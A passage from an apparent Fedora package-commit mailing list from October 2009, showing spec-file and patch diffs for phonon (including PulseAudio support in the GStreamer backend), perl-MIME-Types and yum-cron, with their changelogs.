@@ -154,11 +179,20 @@ fi
 %dir %{_kde4_libdir}/kde4/plugins/phonon_backend/
 %dir %{_kde4_datadir}/kde4/services/phononbackends/
 
+%files devel
+%defattr(-,root,root,-)
+%dir %{_includedir}/KDE
+%{_includedir}/KDE/Phonon/
+%{_includedir}/phonon/
+%{_libdir}/pkgconfig/phonon.pc
+%{_libdir}/libphonon*.so
+
 %files backend-gstreamer
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/plugins/phonon_backend/phonon_gstreamer.so
 %{_kde4_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %{_datadir}/icons/hicolor/*/apps/phonon-gstreamer.*
+%endif
 
 %files backend-xine
 %defattr(-,root,root,-)
@@ -166,19 +200,32 @@ fi
 %{_kde4_datadir}/kde4/services/phononbackends/xine.desktop
 %{_datadir}/icons/hicolor/*/apps/phonon-xine.*
 
-%files devel
-%defattr(-,root,root,-)
-%dir %{_includedir}/KDE
-%{_includedir}/KDE/Phonon/
-%{_includedir}/phonon/
-%{_libdir}/pkgconfig/phonon.pc
-%{_libdir}/libphonon*.so
-
 
 %changelog
-* Sat Sep 26 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-6.1
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
+- revert to kde/phonon
+- inflate to Release: 101
+- -backend-gstreamer: Epoch: 2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.3.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jun 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-11
 - fix for '#' in filenames
 
+* Tue Jun 09 2009 Than Ngo <than at redhat.com> - 4.3.1-10
+- make InitialPreference=9
+
+* Sun Jun 07 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-9
+- optimize scriptlets
+- Req: phonon >= %%phonon_version_major
+
+* Fri Jun 05 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-8
+- restore patches to the xine backend
+
+* Fri Jun 05 2009 Than Ngo <than at redhat.com> - 4.3.1-7
+- only xine-backend
+
 * Wed May 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-6
 - phonon-backend-gstreamer multilib conflict (#501816)
 



From ltinkl at fedoraproject.org  Wed Oct  7 13:11:53 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 13:11:53 +0000 (UTC)
Subject: rpms/phonon/F-11 qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch,
	NONE, 1.1 phonon.spec, 1.38, 1.39
Message-ID: <20091007131153.E9BF411C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/phonon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18190/F-11

Modified Files:
	phonon.spec 
Added Files:
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
Log Message:
sync with devel/


qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch:
 audiooutput.cpp   |    4 +++-
 devicemanager.cpp |   22 ++++++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than	2009-08-16 14:20:43.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp	2009-08-16 14:45:56.000000000 +0200
@@ -141,7 +141,9 @@ bool AudioOutput::setOutputDevice(int ne
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(newDevice).gstId;
+        const QByteArray deviceId = (deviceList.at(newDevice).gstId == "PulseAudio"
+                                     ? "default"
+                                     : deviceList.at(newDevice).gstId);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than	2009-08-15 12:39:08.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp	2009-08-16 14:45:13.000000000 +0200
@@ -50,6 +50,8 @@ AudioDevice::AudioDevice(DeviceManager *
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
+    } else if (gstId == "PulseAudio") {
+        description = QObject::tr("Pass all audio through the PulseAudio Sound Server.\n").toUtf8();
     } else {
         GstElement *aSink= manager->createAudioSink();
 
@@ -175,6 +177,18 @@ GstElement *DeviceManager::createAudioSi
                 }
             }
 
+            if (!sink) {
+                sink = gst_element_factory_make ("pulsesink", NULL);
+                if (canOpenDevice(sink)) {
+                    m_backend->logMessage("AudioOutput using pulse audio sink");
+                    m_audioSink = "pulsesink";
+                }
+                else if (sink) {
+                    gst_object_unref(sink);
+                    sink = 0;
+                }
+            }
+
 #ifdef USE_ALSASINK2
             if (!sink) {
                 sink = gst_element_factory_make ("_k_alsasink", NULL);
@@ -306,8 +320,12 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (m_audioSink == "pulsesink") {
+            list.append("PulseAudio");
+        } else {
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);


Index: phonon.spec
===================================================================
RCS file: /cvs/extras/rpms/phonon/F-11/phonon.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- phonon.spec	26 Sep 2009 21:27:20 -0000	1.38
+++ phonon.spec	7 Oct 2009 13:11:53 -0000	1.39
@@ -1,16 +1,23 @@
+
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 6%{?dist}.1
+Release: 101%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
-#Source0: ftp://ftp.kde.org/pub/kde/stable/phonon/%{version}/%{name}-%{version}.tar.bz2
 Source0: ftp://ftp.kde.org/pub/kde/stable/4.2.1/phonon-%{version}.tar.bz2
-Source1: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# Make PulseAudio the default again when listed by the backend.
+Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
+Source11: hi16-phonon-gstreamer.png
+Source12: hi22-phonon-gstreamer.png
+Source13: hi32-phonon-gstreamer.png
+Source14: hi48-phonon-gstreamer.png
+Source15: hi64-phonon-gstreamer.png
+Source16: hi128-phonon-gstreamer.png
+
+# Make PulseAudio the default when listed by the backend.
 # Note that this currently only works for the Xine backend. Device selection in
 # the GStreamer backend is weird: there is a setting for "sink" which cannot be
 # set through systemsettings, and listed devices are only those supported by the
@@ -18,6 +25,11 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # it as a "sink", and then the device setting is ignored entirely.
 Patch0:  phonon-4.2.96-pulseaudio.patch
 Patch1:  phonon-4.2.96-xine-pulseaudio.patch
+Patch2:  qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
+
+## define to build phonon-backend-xine only
+#define xine_only 1
+#Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
@@ -32,7 +44,6 @@ BuildRequires: cmake >= 2.6.0
 BuildRequires: glib2-devel
 BuildRequires: gstreamer-devel
 BuildRequires: gstreamer-plugins-base-devel
-BuildRequires: GraphicsMagick
 BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
@@ -41,20 +52,21 @@ BuildRequires: qt4-devel >= 4.4.0
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
-## hard-code phonon-backend-xine, if yum chooses -gstreamer by default
-#Requires(hint): phonon-backend-xine%{?_isa} >= %{version}
+
+## can switch to Requires instead of Conflicts once bootstrapping is done
+#Requires: qt4%{?_isa} >= %{_qt4_version}
+Conflicts: qt4 < 4.5.2-21
 
 %description
 %{summary}.
 
-%package backend-gstreamer
-Summary: Gstreamer phonon backend
-Group:   Applications/Multimedia
+%package devel
+Summary: Developer files for %{name}
+Group:   Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Provides: phonon-backend%{?_isa} = %{version}-%{release}
-Obsoletes: %{name}-backend-gst < 4.2.0-4
-Provides:  %{name}-backend-gst = %{version}-%{release}
-%description backend-gstreamer
+Requires: qt4-devel
+Requires: pkgconfig
+%description devel
 %{summary}.
 
 %package backend-xine
@@ -65,13 +77,15 @@ Provides: phonon-backend%{?_isa} = %{ver
 %description backend-xine
 %{summary}.
 
-%package devel
-Summary: Developer files for %{name}
-Group:   Development/Libraries
+%package backend-gstreamer
+Summary: Gstreamer phonon backend
+Group:   Applications/Multimedia
+Epoch:   2
 Requires: %{name} = %{version}-%{release}
-Requires: qt4-devel
-Requires: pkgconfig
-%description devel
+Provides: phonon-backend%{?_isa} = %{version}-%{release}
+Obsoletes: %{name}-backend-gst < 4.2.0-4
+Provides:  %{name}-backend-gst = %{version}-%{release}
+%description backend-gstreamer
 %{summary}.
 
 
@@ -79,11 +93,17 @@ Requires: pkgconfig
 %setup -q -n phonon-%{version}%{?alphatag}
 %patch0 -p1 -b .pulseaudio
 %patch1 -p1 -b .xine-pulseaudio
+%patch2 -p4 -b .gst-pulseaudio
 %patch100 -p0 -b .gstreamer-utf8-url
 %patch101 -p0 -b .gstreamer-volumefader
 %patch102 -p1 -b .xine_nonascii
 %patch103 -p1 -b .xine_nonascii-2
 
+# not working?  use -C .../xine hack below instead for now  -- Rex
+%if 0%{?xine_only}
+#%patch10 -p1 -b .xineonly
+%endif
+
 
 %build
 mkdir -p %{_target_platform}
@@ -91,31 +111,35 @@ pushd %{_target_platform}
 %{cmake} ..
 popd
 
-make %{?_smp_mflags} -C %{_target_platform}
+make %{?_smp_mflags} -C %{_target_platform}%{?xine_only:/xine}
 
 
 %install
 rm -rf %{buildroot}
 
-make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
+make install/fast DESTDIR=%{buildroot} -C %{_target_platform}%{?xine_only:/xine}
 
 # move the oxygen-only phonon-xine icons to hicolor
-test -d %{buildroot}%{_datadir}/icons/hicolor && exit 0
 mv %{buildroot}%{_datadir}/icons/oxygen \
    %{buildroot}%{_datadir}/icons/hicolor
 
-install -D -m 0644 %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
-for i in 16 22 32 48 64 128; do
-  mkdir -p %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps
-  gm convert -background None -geometry ${i}x${i}  %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps/phonon-gstreamer.png
-  touch --reference %{SOURCE1} %{buildroot}%{_datadir}/icons/hicolor/${i}x${i}/apps/phonon-gstreamer.png
-done
+%if ! 0%{?xine_only}
+# gstreamer icons
+install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
+install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE13} %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%endif
 
 
 %clean
 rm -rf %{buildroot}
 
 
+%if ! 0%{?xine_only}
 %post -p /sbin/ldconfig
 
 %postun -p /sbin/ldconfig
@@ -123,28 +147,29 @@ rm -rf %{buildroot}
 %post backend-gstreamer
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
-%post backend-xine
-touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
-%posttrans backend-gstreamer
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
-%posttrans backend-xine
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
-
 %postun backend-gstreamer
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
   gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 fi
 
+%posttrans backend-gstreamer
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+%endif
+
+%post backend-xine
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
 %postun backend-xine
 if [ $1 -eq 0 ] ; then
   touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
   gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 fi
 
+%posttrans backend-xine
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
+%if ! 0%{?xine_only}
 %files
 %defattr(-,root,root,-)
 %doc COPYING.LIB
@@ -154,11 +179,20 @@ fi
 %dir %{_kde4_libdir}/kde4/plugins/phonon_backend/
 %dir %{_kde4_datadir}/kde4/services/phononbackends/
 
+%files devel
+%defattr(-,root,root,-)
+%dir %{_includedir}/KDE
+%{_includedir}/KDE/Phonon/
+%{_includedir}/phonon/
+%{_libdir}/pkgconfig/phonon.pc
+%{_libdir}/libphonon*.so
+
 %files backend-gstreamer
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/plugins/phonon_backend/phonon_gstreamer.so
 %{_kde4_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %{_datadir}/icons/hicolor/*/apps/phonon-gstreamer.*
+%endif
 
 %files backend-xine
 %defattr(-,root,root,-)
@@ -166,19 +200,32 @@ fi
 %{_kde4_datadir}/kde4/services/phononbackends/xine.desktop
 %{_datadir}/icons/hicolor/*/apps/phonon-xine.*
 
-%files devel
-%defattr(-,root,root,-)
-%dir %{_includedir}/KDE
-%{_includedir}/KDE/Phonon/
-%{_includedir}/phonon/
-%{_libdir}/pkgconfig/phonon.pc
-%{_libdir}/libphonon*.so
-
 
 %changelog
-* Sat Sep 26 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-6.1
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
+- revert to kde/phonon
+- inflate to Release: 101
+- -backend-gstreamer: Epoch: 2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.3.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jun 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-11
 - fix for '#' in filenames
 
+* Tue Jun 09 2009 Than Ngo <than at redhat.com> - 4.3.1-10
+- make InitialPreference=9
+
+* Sun Jun 07 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-9
+- optimize scriptlets
+- Req: phonon >= %%phonon_version_major
+
+* Fri Jun 05 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-8
+- restore patches to the xine backend
+
+* Fri Jun 05 2009 Than Ngo <than at redhat.com> - 4.3.1-7
+- only xine-backend
+
 * Wed May 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-6
 - phonon-backend-gstreamer multilib conflict (#501816)
 



From ltinkl at fedoraproject.org  Wed Oct  7 13:11:54 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 13:11:54 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon.spec,1.46,1.47
Message-ID: <20091007131154.2E99411C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18190/F-12

Modified Files:
	phonon.spec 
Log Message:
sync with devel/



Index: phonon.spec
===================================================================
RCS file: /cvs/extras/rpms/phonon/F-12/phonon.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- phonon.spec	4 Oct 2009 02:38:14 -0000	1.46
+++ phonon.spec	7 Oct 2009 13:11:53 -0000	1.47
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 102%{?dist}
+Release: 101%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -29,7 +29,7 @@ Patch2:  qt-x11-opensource-src-4.5.2-gst
 
 ## define to build phonon-backend-xine only
 #define xine_only 1
-Patch10: phonon-4.3.1-xineonly.patch
+#Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
@@ -48,14 +48,14 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.5.2-21
+BuildRequires: qt4-devel >= 4.4.0
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
 ## can switch to Requires instead of Conflicts once bootstrapping is done
-#Conflicts: qt4 < 4.5.2-21
-Requires: qt4%{?_isa} >= 4.5.2-21 
+#Requires: qt4%{?_isa} >= %{_qt4_version}
+Conflicts: qt4 < 4.5.2-21
 
 %description
 %{summary}.
@@ -101,7 +101,7 @@ Provides:  %{name}-backend-gst = %{versi
 
 # not working?  use -C .../xine hack below instead for now  -- Rex
 %if 0%{?xine_only}
-%patch10 -p1 -b .xineonly
+#%patch10 -p1 -b .xineonly
 %endif
 
 
@@ -202,9 +202,6 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
-* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
-- Requires: qt4 >= 4.5.2-21
-
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101



From kasal at fedoraproject.org  Wed Oct  7 13:15:52 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 13:15:52 +0000 (UTC)
Subject: rpms/perl-MIME-Types/devel .cvsignore, 1.11,
	1.12 perl-MIME-Types.spec, 1.22, 1.23 sources, 1.11, 1.12
Message-ID: <20091007131553.017BB11C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-MIME-Types/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19016

Modified Files:
	.cvsignore perl-MIME-Types.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	13 Mar 2009 21:51:34 -0000	1.11
+++ .cvsignore	7 Oct 2009 13:15:52 -0000	1.12
@@ -1 +1 @@
-MIME-Types-1.27.tar.gz
+MIME-Types-1.28.tar.gz


Index: perl-MIME-Types.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/devel/perl-MIME-Types.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- perl-MIME-Types.spec	26 Jul 2009 09:04:50 -0000	1.22
+++ perl-MIME-Types.spec	7 Oct 2009 13:15:52 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           perl-MIME-Types
-Version:        1.27
-Release:        2%{?dist}
+Version:        1.28
+Release:        1%{?dist}
 Summary:        MIME types module for Perl
 
 License:        GPL+ or Artistic
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.28-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.27-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 Mar 2009 21:51:35 -0000	1.11
+++ sources	7 Oct 2009 13:15:52 -0000	1.12
@@ -1 +1 @@
-9407dfdd3a5adb7bf569ed2a184f1640  MIME-Types-1.27.tar.gz
+5fe537d9d803c43a36c3c55623c2d6da  MIME-Types-1.28.tar.gz



From habig at fedoraproject.org  Wed Oct  7 13:28:56 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed,  7 Oct 2009 13:28:56 +0000 (UTC)
Subject: rpms/yum-cron/F-12 .cvsignore, 1.10, 1.11 import.log, 1.3,
	1.4 sources, 1.10, 1.11 yum-cron.spec, 1.15, 1.16
Message-ID: <20091007132856.87C8F11C00E6@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21584/F-12

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Change cron file to 0yum.cron, so yum updates things before the other
  daily jobs such as makewhatis, prelink, updatedb, etc run.  That way
  updated files get picked up properly.  Cost - those jobs will run
  later.  Resolves bug 445894.  Changed default random delay to 60
  minutes from 120 to reduce the cost.
- Eliminate the weekly package cleaning script.  Replace with logic in
  the daily script to clean the packages and the metadata once per week
  (otherwise corrupted meta data messes things up indefinitely).
  Resolves bug 526452.  Removal of seperate weekly script resolves bug
  524461.
- Use find to clear stale locks at start of run, so add findutils req.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	11 Aug 2009 00:04:53 -0000	1.10
+++ .cvsignore	7 Oct 2009 13:28:56 -0000	1.11
@@ -1 +1 @@
-yum-cron-0.8.4.tar.gz
+yum-cron-0.9.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	21 Aug 2009 19:30:56 -0000	1.3
+++ import.log	7 Oct 2009 13:28:56 -0000	1.4
@@ -1,3 +1,4 @@
 yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.3-1.fc10.src.rpm:1229296060
 yum-cron-0_8_4-1_fc11:HEAD:yum-cron-0.8.4-1.fc11.src.rpm:1249949003
 yum-cron-0_8_4-2_fc11:HEAD:yum-cron-0.8.4-2.fc11.src.rpm:1250883009
+yum-cron-0_9_0-1_fc11:F-12:yum-cron-0.9.0-1.fc11.src.rpm:1254922039


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Aug 2009 00:04:53 -0000	1.10
+++ sources	7 Oct 2009 13:28:56 -0000	1.11
@@ -1 +1 @@
-c80fd195f7b1eaaa42198693960a2171  yum-cron-0.8.4.tar.gz
+bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/yum-cron.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- yum-cron.spec	21 Aug 2009 19:30:56 -0000	1.15
+++ yum-cron.spec	7 Oct 2009 13:28:56 -0000	1.16
@@ -1,7 +1,7 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.8.4
-Release: 2%{?dist}
+Version: 0.9.0
+Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -10,7 +10,7 @@ Source0: %{name}-%{version}.tar.gz
 License: GPLv2
 Group: System Environment/Base
 BuildArch: noarch
-Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils
+Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils findutils
 Requires(post): /sbin/chkconfig
 Requires(post): /sbin/service
 Requires(preun): /sbin/chkconfig
@@ -31,10 +31,10 @@ rather than the newer yum-updatesd daemo
 
 %install
 rm -rf $RPM_BUILD_ROOT
-install -D -m 755 yum.cron.daily $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/yum.cron
-install -D -m 755 yum.cron.weekly $RPM_BUILD_ROOT/%{_sysconfdir}/cron.weekly/yum.cron
+install -D -m 755 0yum.cron $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/0yum.cron
 install -D -m 755 yum-cron $RPM_BUILD_ROOT/%{_sysconfdir}/rc.d/init.d/yum-cron
 install -D -m 644 yum-daily.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-daily.yum
+install -D -m 644 yum-weekly.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-weekly.yum
 install -D -m 644 yum-cron.sysconf $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/yum-cron
 
 %clean
@@ -84,13 +84,23 @@ exit 0
 %files
 %defattr(-,root,root)
 %doc COPYING README
-%{_sysconfdir}/cron.daily/yum.cron
-%{_sysconfdir}/cron.weekly/yum.cron
+%{_sysconfdir}/cron.daily/0yum.cron
 %config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
+%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
+- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
+  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
+  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
+  random delay to 60 minutes from 120 to reduce the cost.
+- Eliminate the weekly package cleaning script.  Replace with logic in the daily script 
+  to clean the packages and the metadata once per week (otherwise corrupted metadata messes 
+  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
+  bug 524461. 
+- Use find to clear stale locks at start of run, so add findutils req.
 * Fri Aug 21 2009 Alec Habig <ahabig at umn.edu> - 0.8.4-2
 - pushing to updates-testing to resolve bug 515814, dealing with stale lockfiles
 



From habig at fedoraproject.org  Wed Oct  7 13:29:25 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed,  7 Oct 2009 13:29:25 +0000 (UTC)
Subject: rpms/yum-cron/F-11 .cvsignore, 1.10, 1.11 import.log, 1.2,
	1.3 sources, 1.10, 1.11 yum-cron.spec, 1.13, 1.14
Message-ID: <20091007132925.5B97A11C00E6@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21894/F-11

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Change cron file to 0yum.cron, so yum updates things before the other
  daily jobs such as makewhatis, prelink, updatedb, etc run.  That way
  updated files get picked up properly.  Cost - those jobs will run
  later.  Resolves bug 445894.  Changed default random delay to 60
  minutes from 120 to reduce the cost.
- Eliminate the weekly package cleaning script.  Replace with logic in
  the daily script to clean the packages and the metadata once per week
  (otherwise corrupted meta data messes things up indefinitely).
  Resolves bug 526452.  Removal of seperate weekly script resolves bug
  524461.
- Use find to clear stale locks at start of run, so add findutils req.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	21 Aug 2009 19:31:47 -0000	1.10
+++ .cvsignore	7 Oct 2009 13:29:25 -0000	1.11
@@ -1 +1 @@
-yum-cron-0.8.4.tar.gz
+yum-cron-0.9.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Aug 2009 19:31:47 -0000	1.2
+++ import.log	7 Oct 2009 13:29:25 -0000	1.3
@@ -1,2 +1,3 @@
 yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.3-1.fc10.src.rpm:1229296060
 yum-cron-0_8_4-2_fc11:F-11:yum-cron-0.8.4-2.fc11.src.rpm:1250883086
+yum-cron-0_9_0-1_fc11:F-11:yum-cron-0.9.0-1.fc11.src.rpm:1254922148


Index: sources
===================================================================
